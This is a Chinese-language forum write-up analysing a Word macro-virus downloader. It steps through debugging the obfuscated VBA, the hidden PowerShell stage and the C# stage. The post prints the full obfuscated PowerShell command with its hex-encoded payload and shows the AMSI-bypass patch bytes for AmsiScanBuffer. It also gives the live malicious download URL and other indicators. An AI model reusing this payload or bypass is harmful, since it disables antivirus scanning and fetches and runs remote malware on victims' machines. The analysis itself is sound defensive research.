【PC樣本分析】Word文檔宏病毒樣本分析
作者論壇賬號(hào):?Loopher
這是惡意樣本分析的office
類病毒分析入門篇,這篇筆記主要記錄了如何分析Office
類的宏病毒,包括如下
調(diào)試VBA宏
使用PowerShell ISE調(diào)試分析
調(diào)試C#程序
在次之前曾逆向分析了一些.exe
的病毒,但是在很多時(shí)候Office
類的病毒也時(shí)常出現(xiàn),介于自己對(duì)這類病毒的分析不是熟悉,因此在尋找相關(guān)內(nèi)容博客和技術(shù)文檔來(lái)參考練手。
樣本基本信息
在沙箱上可以看到這是一個(gè)Word
樣本

運(yùn)行時(shí)會(huì)啟動(dòng)Powershell.exe csc.exe cvtre.exe這三個(gè)進(jìn)程,如下

由此可以知道改程序會(huì)啟動(dòng)相關(guān)的腳本執(zhí)行,在VT上查詢?cè)摌颖?,被?biāo)記為Downloader
地址為:
https://www.virustotal.com/gui/file/a474c4ea67fd30e80ca375370d19dd0712997889814c2960d8a41c2856092ce5/detection
根據(jù)歷史提交檢測(cè)時(shí)間分析


該樣本目前仍有有部分殺軟還不支持,看樣子一些廠商還未捕獲該樣本,下面分析一下這個(gè)樣本的功能之一下載器。
樣本分析
將樣本下載下來(lái)后,打開(kāi)運(yùn)行后如下提示需要開(kāi)啟宏功能,如下

這里很典型的Office類病毒的慣用手法,使用VBA宏來(lái)隱藏實(shí)際功能,這里進(jìn)行調(diào)試分析VBA宏。
VBA宏功能分析
為了能調(diào)試分析該宏,我們不能直接點(diǎn)擊Enable Content來(lái)啟動(dòng)宏,調(diào)試步驟如下
按住shift鍵
點(diǎn)擊開(kāi)啟宏功能
釋放shift鍵
按下alt+f11打開(kāi)宏調(diào)試器
調(diào)試宏功能
打開(kāi)宏調(diào)試器之后如下

雙擊打開(kāi)宏代碼后如下

很明顯該程序被混淆了,將代碼復(fù)制出來(lái)在網(wǎng)上格式化后得到如下程序

同樣代碼依然被混淆了,這里直接調(diào)試在運(yùn)行時(shí)獲取結(jié)果。
調(diào)試VBA
首先在Docuement_Open
函數(shù)的入口設(shè)置斷點(diǎn)(直接點(diǎn)擊側(cè)邊的位置即可),如下


然后點(diǎn)擊運(yùn)行按鈕后如下(此時(shí)程序進(jìn)入debug狀態(tài))

緊接著單步步入(F8)進(jìn)入到函數(shù)Lethbridge(ByVal Garniture As String)內(nèi),可以看到該函數(shù)有一個(gè)參數(shù),在入口的位置傳入的值是de9a2c49a42b6

從函數(shù)的聲明可以知道該函數(shù)返回一個(gè)String值,繼續(xù)單步進(jìn)入后來(lái)到Lethbridge內(nèi)之后,將變量窗口打開(kāi),在View-->Locals Windows如下

打開(kāi)后就能觀察到每個(gè)變量的值如下

經(jīng)過(guò)調(diào)試分析后知道,Lethbridge函數(shù)是一個(gè)字符串解密函數(shù),傳入的參數(shù)應(yīng)該是待解密的字符串值,第一次解密出的內(nèi)容
Lethbridge : "winmgmts:\\.\root\cimv2:Win32_Process" : String
如下

這里主要是解密并獲取一個(gè)WMI 的Win32_Process對(duì)象,這個(gè)對(duì)象在官網(wǎng)上的描述為
# https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-tasks--processes
可以通過(guò)這個(gè)對(duì)象來(lái)創(chuàng)建進(jìn)程,獲取進(jìn)程信息等
繼續(xù)往下調(diào)試分析
在獲取Win32_Process
字符串之后調(diào)用GetObject
函數(shù)獲取指定的對(duì)象并將獲取的對(duì)象傳入到調(diào)用函數(shù)SnottineSS
內(nèi),該函數(shù)也會(huì)解密出一個(gè)字符串內(nèi)容并通過(guò)Win32_Process.Create
函數(shù)啟動(dòng)一個(gè)進(jìn)程,如下

繼續(xù)往下分析后知道,第二次解密出來(lái)的內(nèi)容是一個(gè)PowerShell
腳本程序,如下

到了這的時(shí)候,此時(shí)程序已經(jīng)解密了PowerShel
l程序,解密內(nèi)容如下
"powershell -WindowStyle Hidden
function y171e {param($z4627)$k58be9='a57157c';$yce74a='';for ($i=0; $i -lt $z4627.length;$i+=2){$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);}return "
手動(dòng)格式化后如下

從第一條命令可以知道,改程序會(huì)在啟動(dòng)時(shí)將PowerShell
窗口隱藏并執(zhí)行后面的程序,這里啟動(dòng)powerShell ISE工具進(jìn)行 調(diào)試,如下

這里為了能運(yùn)行,使用如下命令調(diào)用,如下
function y171e
運(yùn)行后程序報(bào)錯(cuò),如下

這里是少了參數(shù),腳本還不夠完全應(yīng)該在啟動(dòng)PowerShell后應(yīng)該就能正常了,繼續(xù)單步執(zhí)行,繼續(xù)往下不要再單步 步入(F8)

在繼續(xù)單步調(diào)試后,觀察到ProcessHacker
內(nèi)的進(jìn)程列表出現(xiàn)了PowerShell

此時(shí)將PowerShell程序懸掛住不繼續(xù)執(zhí)行,直接在ProcessHacker內(nèi)選中進(jìn)程并右鍵,點(diǎn)擊懸掛后即可。如果觀察及時(shí),可以看到csc.exe進(jìn)程出現(xiàn)一次
觀察此時(shí)的PowerShell進(jìn)程后如下 點(diǎn)擊進(jìn)程后右鍵-->屬性(Properties)->Command line

復(fù)制出來(lái)這個(gè)PowerShell
腳本,如下
powershell -WindowStyle Hidden
function y171e {param($z4627)$k58be9='a57157c';$yce74a='';for ($i=0; $i -lt $z4627.length;$i+=2){$vc2775=[convert]::ToByte($z4627.Substring($i,2),16);$yce74a+=[char]($vc2775 -bxor $k58be9[($i/2)%$k58be9.length]);}return $yce74a;}$z24c573 = '14465e5f52173018464354580c16125c595615641a1241525c1b65160f415e5c50192a0f4152435a4730044741585652105a4044585b5043324c4445505a4d255c56565b5810155c54420e4210085b5011664e1015505a1f7c785814465e5f5217301846435458192d04410c3c3f471603595e5215540f004644114c5502530c0f024e6c270d597e5c455811151d155a50450d04590403171b260f41454865580a0f410a137252173147585274530713504442171e3e1140555d5c5443124156455c5443044d4354475943285b436141454317020008571f2a0f41674547171b59510404031b1015475e5f52171556575206061e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508152f0e54537d5c551100474e131c6a1314575b5856171015544358561706194152435b172a0f41674547170657030207510e4b124145585b50431b560154541e583a715b5d7c5a130e474319175c06135b525d0605414d705945474e330e5c594508153508474344545b33135a435456434148684744575b0a0215444554430a021552494152110f15555e5a5b43090254040d014b285b43614145430c5156060d01574d607e5f41671713155c0302550050571b445c5917414d545554515158195844411716085b4311470f5703060e180e6c270d597e5c455811151d157a50450d045904031b530f0d171b745b4311186558585b435e4367435d7858150478525c5a451a43196454417b02124172434758115c53565d46524a3c464350415e0041504f4550450d41435858511706070056541d7e0d1565434315565a550d5209197e0d15654343155b5b03040554195e0d15155005560106480e4744575b0a0215444554430a02155e5f411700500c04531d1e18285b4361414543020756540753555c500107000107581d4e0002060649170701000f5755000f0057025051530755171e4a5a5c511956050204075307140a2a0f416745471939044758184e7e0d1565434315455a57060308060a1556020e531d545100500555031b1a500206541d155151000f0501025b570302050505530702000507025454060203040641481c0c58531f11580304050c04425c7c59456543114f6f52435a1e18347c5945654311415d55505405075c1d62785b433315471e040e420a0f41175a0c5450560c0a010e5e05495d0052000f5549470e0706035a52195f535456510519074901074f0e4043115e0e0052020e181c4c211841526a68170904045255084c531906061d054f05071907490c071e5a7c5945654311415b55020700025c785643465f020d1b765d59580029725b5e57560f49061e0a785611125d565d1b740c114c1f5b5006060519071d5b55505302561d061e5804530250501f0d044217785b433315471f430c0150550c041f61582a0f4101051d1e48514d070104554a4d5b55020700024d061e0a484a1e124145585b504312040f0253565e245b415847580d0c5059451b70061573585d515211315443591d720d175c455e5b5a060f41196245520008545b775a5b070447197045470f085656455c580d255443501c174841176b6d560e51540015111e171a500206541d155707000705530257431c0c5f50404336505572595e060f411f181b730c165b5b5e545325085952194c065450501f13050e5750010405040355515103520152565700010453020154030700050f57570100050602025502070704045750015204060354540d070905035756010300530255540d075401525754000f0504060251530552040155530254050600505703020205015555000f0654035251500355050357050005131c1b10500d0457541e583147585250441032415643417e0d075a174803540153085954421733135a5454464430155445457c59050e1d44000d0405001c0c614758000446441f66430213411f48035401531c0c43504316135b17010e4a1314575b585617101554435856171015475e5f52171a500206541d4417135c5956155a06590c0e051c4c1015475e5f52171b59510404030a4100000000000000430e4445475e0d06155207030255050c0a13170c050e471f585b43430808070a155e5f0c500f080c034d2d505956415f58081e0a031c4c011841521143005458570a725a59150447431f6158211841521958525b580c031f664201124145585b504b08190518190655480e5207030255050c1c0c1d540b00471e19430054585769490d535054036c195c185148104f09510456571b7b545b501709681e0a4845061540455f155255570001550c0c1e1c';$z24c5732 = y171e($z24c573);
Add-Type -TypeDefinition $z24c5732;
[yba2983]::c193b();
可以看到程序調(diào)用了y171e,其中傳入的值是$z24c573
,從功能上來(lái)分析,這里應(yīng)該是一個(gè)解密過(guò)程,緊接著調(diào)用
Add-Type -TypeDefinition?表明解密處理的內(nèi)容是一個(gè).Net
的程序,這里是允許該程序加載.Net
的框架庫(kù)
# 參考
https://renenyffenegger.ch/notes/Windows/PowerShell/command-inventory/noun/type/add/index
接著就通過(guò)[yba2983]::c193b();來(lái)調(diào)用執(zhí)行,這是通過(guò)PowerShell程序調(diào)用.Net程序的類進(jìn)行加載執(zhí)行的一個(gè)語(yǔ)法
# 參考
https://blog.adamfurmanek.pl/2016/03/19/executing-c-code-using-powershell-script/
PowerShell功能分析
這里調(diào)用PowerShell調(diào)試器將解密出的內(nèi)容打印出來(lái)并進(jìn)行分析,貼入代碼到PowerShell ISE內(nèi),并設(shè)置斷點(diǎn)在Add-Type的位置,同時(shí)在上一行打印$z24c5732的值
,如下

此時(shí)運(yùn)行該程序后輸出如下內(nèi)容

經(jīng)過(guò)格式化之后得到如下程序

程序是被混淆了,閱讀起來(lái)也比較費(fèi)勁,因此選擇進(jìn)行調(diào)試解密出來(lái)的.Net
程序
C#程序功能分析
在Visual Studio 2015內(nèi)新建一個(gè)C#控制臺(tái)程序,并將解密出來(lái)的.Net代碼拷貝到程序內(nèi)
,如下

首先程序會(huì)導(dǎo)出kernel32的API供給后續(xù)程序使用
,如上圖程序內(nèi)的注釋可以知道,分別導(dǎo)出了
? ?? ?? ?[DllImport("kernel32", EntryPoint = "GetProcAddress")] public static extern IntPtr v779b(IntPtr x8d356, string v7be73);// GetProcAddress? ?? ???[DllImport("kernel32", EntryPoint = "LoadLibrary")] public static extern IntPtr e6656d9(string zc6ea);//LoadLibrary_function? ?? ???[DllImport("kernel32", EntryPoint = "VirtualProtect")] public static extern bool h7c586(IntPtr mda7864, UIntPtr k27bc1b, uint xcdaf29, out uint r84b39); //VirtualProtect? ?? ???[DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)] static extern void ef5ae(IntPtr a948e8, IntPtr l8b12e, int g4c6e); //RtlMoveMemory
接著先調(diào)用y171e
函數(shù)執(zhí)行字符串解密功能,這里會(huì)傳入的字符串是待解密字符串,最后會(huì)返回解密的內(nèi)容,如下是解密函數(shù)

解密過(guò)程就是遍歷傳入的字符串然后進(jìn)行異或后返回最終結(jié)果,程序接著會(huì)進(jìn)行一系列的判斷然后分別調(diào)用GetProcAddress函數(shù),這個(gè)API通常是用來(lái)獲取指定的模塊的導(dǎo)出函數(shù)的指針,由此猜到了第二個(gè)字符串解密應(yīng)該是一個(gè)api的解密,緊跟著就判斷獲取的函數(shù)是否為空,如果不為空,就調(diào)用VirtualProtect函數(shù)修改對(duì)應(yīng)的內(nèi)存屬性PAGE_EXECUTE_READWRITE = 0x40,之后調(diào)用Marshal函數(shù)分配內(nèi)存并將
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?Byte[] je1ed = {
? ?? ?? ?? ?? ?? ?? ?? ?0x31,
? ?? ?? ?? ?? ?? ?? ?? ?0xff,
? ?? ?? ?? ?? ?? ?? ?? ?0x90
? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?};
? ? 復(fù)制到導(dǎo)出的API函數(shù)內(nèi),這里就很奇怪,為什么會(huì)這么做?經(jīng)過(guò)搜索后發(fā)現(xiàn)這里是用來(lái)**繞過(guò)AMSI的檢測(cè)功能**
? ? ```shell
? ? # 什么是AMSI
? ? AMSI是微軟的一個(gè)反病毒功能,全稱為Antimalware Scan Interface (AMSI),用戶可以將該功能集成到程序內(nèi)可以防護(hù)用戶數(shù)據(jù)以病毒的入侵。
? ? ```

? ? 對(duì)應(yīng)的代碼片段

? ?? ???## 代碼地址
? ?? ???https://gist.github.com/TheWover/ad89ed9f402c7bdf1d0eda3cb99c458c
根據(jù)上面的POC代碼知道,這里要對(duì)amsi.dll打補(bǔ)丁的函數(shù)是AmsiScanBuffer,病毒對(duì)應(yīng)的代碼如下

可以確定這個(gè)程序首先會(huì)對(duì)AMSI執(zhí)行打補(bǔ)丁防止被掃描到。最后準(zhǔn)備一個(gè)文件路徑并調(diào)用WebClient
函數(shù)執(zhí)行文件下載和執(zhí)行下載的文件。這里這個(gè)C#
函數(shù)就是一個(gè)下載核心的文件并啟動(dòng)運(yùn)行。

下面進(jìn)入調(diào)試步驟,首先看到第一個(gè)解密出來(lái)的就是amsi.dll
如下

接著是判斷amsi.dll
是否不為空,如果不為空則繼續(xù)讀取AmsiScanBuffer
的指針,這里的amsi.dll
是為空

接著準(zhǔn)備待下載的文件路徑,解密拼接后的值如下

"C:\\Users\\QWER\\AppData\\Roaming\\c9255.exe"
解密出URL的值,如下

"https://cannabispropertybrokers.com/pop/8OwWKrFQ0gQoKt9.exe"
下載保存的文件為

大小為0,應(yīng)該是地址不能訪問(wèn)了,這里就不能啟動(dòng)這個(gè)核心的功能了。手動(dòng)嘗試訪問(wèn)這個(gè)地址發(fā)下掛了,應(yīng)該是被曝光之后被關(guān)閉了。

將提取的url到微步上查詢,微步被標(biāo)記為了可疑狀態(tài),但是只有Google
的檢測(cè)出來(lái)
https://s.threatbook.cn/report/url/72d885d5b352c606949c65c8d6cf2691

在奇安信的威脅研判系統(tǒng)查詢到這是一個(gè)遠(yuǎn)控病毒
https://ti.qianxin.com/v2/search?type=domain&value=cannabispropertybrokers.com

總結(jié)
這個(gè)病毒的運(yùn)行需要開(kāi)啟宏才能執(zhí)行,執(zhí)行流程如下

這個(gè)病毒分析的難點(diǎn)還是在于調(diào)試VBA程序、powershell程序、C#這三個(gè)過(guò)程,在分析的過(guò)程中也能熟悉一些宏病毒的一些常規(guī)管用手法,一部分廠商不能查殺到可能是該病毒的動(dòng)態(tài)打補(bǔ)丁了amsi.dll繞過(guò)了相關(guān)檢測(cè)。
特征
樣本特征
MD5: 9eafc9090d71b382af7c8c04e83d61d2
URL
https://cannabispropertybrokers.com/pop/8OwWKrFQ0gQoKt9.exe
參考
AMSIBypass2
AMSI_bypass_post:amsi-bypass-redux
AMSI
Obfuscated VBA, Powershell, C#
如何調(diào)試Word宏病毒,以及使用VS調(diào)試VB腳本
使用powershell調(diào)用C#程序
PowerShell cmdLet add-type
原文地址:https://www.52pojie.cn/thread-1287476-1-1.html